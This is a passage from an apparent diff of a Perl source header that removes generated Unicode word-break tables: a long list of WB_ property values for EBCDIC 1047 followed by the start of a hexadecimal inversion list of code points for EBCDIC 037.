WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Format, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Regional_Indicator, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Modifier, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base_GAZ, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Format, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_WB_invlist[] = { /* for EBCDIC 037 */ - 1740, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x42, - 0x4A, - 0x4B, - 0x4C, - 0x51, - 0x5A, - 0x5E, - 0x5F, - 0x62, - 0x6A, - 0x6B, - 0x6C, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xB3, - 0xB4, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2D8, - 0x2DE, - 0x2E5, - 0x2EC, - 0x300, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x5F4, - 0x5F5, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66C, - 0x66D, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7F8, - 0x7F9, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x859, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD58, - 0xD5F, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1715, - 0x1720, - 0x1732, - 0x1735, - 0x1740, - 0x1752, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C00, - 0x1C24, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D00, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2000, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x203F, - 0x2041, - 0x2044, - 0x2045, - 0x2054, - 0x2055, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3000, - 0x3001, - 0x3005, - 0x3006, - 0x302A, - 0x3030, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA717, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xAA00, - 0xAA29, - 0xAA37, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAE0, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE14, - 0xFE15, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE54, - 0xFE55, - 0xFE56, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF07, - 0xFF08, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1C, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFF9, - 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11173, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11435, - 0x11447, - 